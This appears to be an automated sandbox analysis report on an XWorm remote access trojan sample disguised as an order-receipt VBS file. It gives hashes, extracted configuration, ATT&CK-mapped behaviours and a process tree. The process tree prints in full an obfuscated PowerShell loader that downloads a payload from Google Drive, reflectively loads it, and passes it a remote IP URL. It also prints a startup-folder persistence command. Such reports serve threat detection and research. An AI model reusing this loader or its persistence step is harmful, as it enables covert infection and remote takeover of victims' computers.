xworm | 9eb00c37db0331a7a0ef2056bda5ffe8fde8d812f4d3f8b54f278ba041cfd2a0

General

Target

30102024_0112_order_receipt#277.vbs
Size

138KB
MD5

e845c7177b3fbef4bacea00df938bc28
SHA1

af8f1912ee1d5e2daa119d52537fc09a8316aa4d
SHA256

9eb00c37db0331a7a0ef2056bda5ffe8fde8d812f4d3f8b54f278ba041cfd2a0
SHA512

85c0b69a7f3b615b0796f882620d40c4bc5b8f79b3adffc11cee3b08085879f55c78c81a65671c2701139d4c68c39b27178730241be00a0054c37809936b0043
SSDEEP

1536:Qyb8Rgt5pzGGwEM9cW/9WoOv5xvX7Nvx48bOAobVHL3x:QybOgt5pCGwEM/FWXvnLNvxrbO3bVr3x

Score

10^/10

xworm discovery execution rat trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

exe.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

Extracted

Family

xworm

Version

5.0

Mutex

aq3Fac3Pq9GHgZuk

Attributes

install_file
USB.exe
pastebin_url
https://pastebin.com/raw/juxAi7cy

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/4612-39-0x0000000000400000-0x0000000000410000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 3 IoCs

flow	pid	Process
28	4084	powershell.exe
30	4084	powershell.exe
34	4084	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4880	powershell.exe
4084	powershell.exe
1548	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cigas.vbs	WScript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cigas.vbs	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
27	drive.google.com
28	drive.google.com
46	pastebin.com
47	pastebin.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4084 set thread context of 4612	4084	powershell.exe	102

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3876	cmd.exe
1084	PING.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1084	PING.EXE

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
1548	powershell.exe
1548	powershell.exe
4880	powershell.exe
4880	powershell.exe
4084	powershell.exe
4084	powershell.exe
4084	powershell.exe
4612	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1548	powershell.exe
Token: SeDebugPrivilege	4880	powershell.exe
Token: SeDebugPrivilege	4084	powershell.exe
Token: SeDebugPrivilege	4612	RegAsm.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4612	RegAsm.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 1664 wrote to memory of 3876	1664	WScript.exe	84
PID 1664 wrote to memory of 3876	1664	WScript.exe	84
PID 3876 wrote to memory of 1084	3876	cmd.exe	86
PID 3876 wrote to memory of 1084	3876	cmd.exe	86
PID 3876 wrote to memory of 1548	3876	cmd.exe	96
PID 3876 wrote to memory of 1548	3876	cmd.exe	96
PID 1664 wrote to memory of 4880	1664	WScript.exe	99
PID 1664 wrote to memory of 4880	1664	WScript.exe	99
PID 4880 wrote to memory of 4084	4880	powershell.exe	101
PID 4880 wrote to memory of 4084	4880	powershell.exe	101
PID 4084 wrote to memory of 4612	4084	powershell.exe	102
PID 4084 wrote to memory of 4612	4084	powershell.exe	102
PID 4084 wrote to memory of 4612	4084	powershell.exe	102
PID 4084 wrote to memory of 4612	4084	powershell.exe	102
PID 4084 wrote to memory of 4612	4084	powershell.exe	102
PID 4084 wrote to memory of 4612	4084	powershell.exe	102
PID 4084 wrote to memory of 4612	4084	powershell.exe	102
PID 4084 wrote to memory of 4612	4084	powershell.exe	102

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\30102024_0112_order_receipt#277.vbs"
1⤵
- Checks computer location settings
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:1664
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\30102024_0112_order_receipt#277.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.sagic.vbs')')
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:3876
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1 -n 10
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1084
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\30102024_0112_order_receipt#277.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.sagic.vbs')')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1548
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCc1ZFlpbWFnZVVybCcrJyA9IDhMVWh0dHBzOi8vZHJpdmUuZ29vZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9JysnMUFJVmdKSkp2MUY2dlM0cycrJ1VPeWJuSC1zRHZVaEJZd3VyIDhMVTs1ZFknKyd3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OzVkWWltYWdlQnl0ZXMgPSA1ZFl3ZWJDbGllbnQuRG93bmxvYWQnKydEYXRhKDVkWWltYWdlVXJsKTs1ZFlpbWFnZVRleHQgPSBbU3lzdGVtLicrJ1RleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyg1ZFlpbWFnZUJ5dGVzKTs1ZFlzdGFydEZsYWcgPSA4TFU8JysnPEJBU0U2NF9TJysnVEFSVD4+OExVOzVkWWVuZEZsYWcgJysnPSA4TFU8PEJBU0U2NF9FTkQ+PjhMVTs1ZFlzdGFydEluJysnZGV4ID0gNWRZaScrJ21hZ2VUZXh0LkluZGV4T2YoNWRZc3RhcnRGbGFnKTs1ZFllbmRJbmRleCA9IDVkWWltYWdlVGV4dC5JbmRleE9mKDVkWWVuZEZsYWcpOzVkWXN0YXJ0SW5kZXggLWdlIDAgLWFuZCcrJyA1ZFllbmRJbmRleCAtZ3QgNWRZc3RhcnRJbmRleDs1ZFlzdGFydEluZGV4ICs9IDVkWXN0YXJ0RmxhZy5MZW5ndGg7NWRZYmFzZTY0TGVuZ3RoID0gNWRZZW5kSW5kZXggLSA1ZFlzdGFydEluZGV4OzVkWWJhc2U2NENvbW1hbmQgPSA1ZFlpbWFnZVRleHQuU3Vic3RyaW5nKDVkWXN0YXJ0JysnSScrJ25kZXgsIDVkWWJhc2U2NExlbmd0aCk7NWRZYmFzZTY0UmV2ZXJzZWQgPSAtam9pbicrJyAoNWRZYmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIEluZiBGb3JFYWNoLU9iamVjdCB7IDVkWScrJ18gfSlbLTEuLi0oNWRZYmFzZTY0Q29tbWFuZC5MZW5ndGgpXTs1ZFljb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKDVkWWJhc2U2NFJldmVyc2VkKTs1ZFlsb2FkZWRBc3NlbWJseSA9IFtTeScrJ3N0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoNWRZY29tbWFuZEJ5dGVzKTs1ZFl2YWlNZXRob2QgPSAnKydbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKDhMVVYnKydBSThMVSk7NWRZdmFpTWV0aG9kLkludm9rZSg1ZFludWxsLCBAKDhMVXR4dC5zZ2EnKydyZXZldHMvanhzbi8xNTEuMTEuNjkxLjU4MS8vOnB0dGg4TFUsIDhMVWRlJysnc2F0aXZhZG84TFUsIDhMVWRlc2F0aXZhZG84TFUsIDhMVWRlc2F0aXZhZG84TFUsIDhMVVJlZ0FzbThMVSwgOExVZGVzYXRpdmFkbzhMVSwgOExVZGVzYXRpdmFkbzhMVSw4TFVkZXNhdGl2YWRvOEwnKydVLDhMVWRlc2F0aXZhZG84TFUsOExVZGVzYXRpdmFkbzhMJysnVSw4TFVkZXNhdGl2JysnYWRvOExVJysnLDhMVWRlc2F0aXZhZG84TFUsOExVMThMVSw4TFVkZXNhdGl2YWRvOExVKSk7JykuckVQTGFjRSgoW0NIQVJdNTYrW0NIQVJdNzYrW0NIQVJdODUpLFtzVFJJTmddW0NIQVJdMzkpLnJFUExhY0UoJzVkWScsJyQnKS5yRVBMYWNFKChbQ0hBUl03MytbQ0hBUl0xMTArW0NIQVJdMTAyKSwnfCcpIHwgJiAoICRTaGVMTGlkWzFdKyRzSGVMTElkWzEzXSsnWCcp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4880
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('5dYimageUrl'+' = 8LUhttps://drive.google.com/uc?export=download&id='+'1AIVgJJJv1F6vS4s'+'UOybnH-sDvUhBYwur 8LU;5dY'+'webClient = New-Object System.Net.WebClient;5dYimageBytes = 5dYwebClient.Download'+'Data(5dYimageUrl);5dYimageText = [System.'+'Text.Encoding]::UTF8.GetString(5dYimageBytes);5dYstartFlag = 8LU<'+'<BASE64_S'+'TART>>8LU;5dYendFlag '+'= 8LU<<BASE64_END>>8LU;5dYstartIn'+'dex = 5dYi'+'mageText.IndexOf(5dYstartFlag);5dYendIndex = 5dYimageText.IndexOf(5dYendFlag);5dYstartIndex -ge 0 -and'+' 5dYendIndex -gt 5dYstartIndex;5dYstartIndex += 5dYstartFlag.Length;5dYbase64Length = 5dYendIndex - 5dYstartIndex;5dYbase64Command = 5dYimageText.Substring(5dYstart'+'I'+'ndex, 5dYbase64Length);5dYbase64Reversed = -join'+' (5dYbase64Command.ToCharArray() Inf ForEach-Object { 5dY'+'_ })[-1..-(5dYbase64Command.Length)];5dYcommandBytes = [System.Convert]::FromBase64String(5dYbase64Reversed);5dYloadedAssembly = [Sy'+'stem.Reflection.Assembly]::Load(5dYcommandBytes);5dYvaiMethod = '+'[dnlib.IO.Home].GetMethod(8LUV'+'AI8LU);5dYvaiMethod.Invoke(5dYnull, @(8LUtxt.sga'+'revets/jxsn/151.11.691.581//:ptth8LU, 8LUde'+'sativado8LU, 8LUdesativado8LU, 8LUdesativado8LU, 8LURegAsm8LU, 8LUdesativado8LU, 8LUdesativado8LU,8LUdesativado8L'+'U,8LUdesativado8LU,8LUdesativado8L'+'U,8LUdesativ'+'ado8LU'+',8LUdesativado8LU,8LU18LU,8LUdesativado8LU));').rEPLacE(([CHAR]56+[CHAR]76+[CHAR]85),[sTRINg][CHAR]39).rEPLacE('5dY','$').rEPLacE(([CHAR]73+[CHAR]110+[CHAR]102),'|') | & ( $SheLLid[1]+$sHeLLId[13]+'X')"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4084
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:4612

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Remote System Discovery

1

T1018

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
9586354a4e91c47c933ad60ce6938173

SHA1
dec4912b03333ca2bace7e1435d0c06c4dca63c8

SHA256
dce1a16d983f7535ac242dd12223197ab2f6bce97c73899be5c7ecafe7ac4a11

SHA512
9a4a2413857d6877b5176f810a51ee075449d7a484ea0ab232571104ecacdf830ef48318df54817b95aaa73cc6f064d61eb3dd003344ec0fd1565ae49bb01c2f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_snx1p3ss.ndc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1548-13-0x00007FFBAB400000-0x00007FFBABEC1000-memory.dmp

Filesize
10.8MB

Download
memory/1548-16-0x00007FFBAB400000-0x00007FFBABEC1000-memory.dmp

Filesize
10.8MB

Download
memory/1548-17-0x00007FFBAB400000-0x00007FFBABEC1000-memory.dmp

Filesize
10.8MB

Download
memory/1548-1-0x00007FFBAB403000-0x00007FFBAB405000-memory.dmp

Filesize
8KB

Download
memory/1548-12-0x00007FFBAB400000-0x00007FFBABEC1000-memory.dmp

Filesize
10.8MB

Download
memory/1548-2-0x00000273E5830000-0x00000273E5852000-memory.dmp

Filesize
136KB

Download
memory/4084-38-0x000002C3E9530000-0x000002C3E968A000-memory.dmp

Filesize
1.4MB

Download
memory/4612-39-0x0000000000400000-0x0000000000410000-memory.dmp

Filesize
64KB

Download
memory/4612-43-0x00000000050F0000-0x000000000518C000-memory.dmp

Filesize
624KB

Download
memory/4612-44-0x0000000006380000-0x0000000006924000-memory.dmp

Filesize
5.6MB

Download
memory/4612-45-0x0000000006240000-0x00000000062D2000-memory.dmp

Filesize
584KB

Download
memory/4612-46-0x0000000006220000-0x000000000622A000-memory.dmp

Filesize
40KB

Download
memory/4612-47-0x0000000006A60000-0x0000000006AC6000-memory.dmp

Filesize
408KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads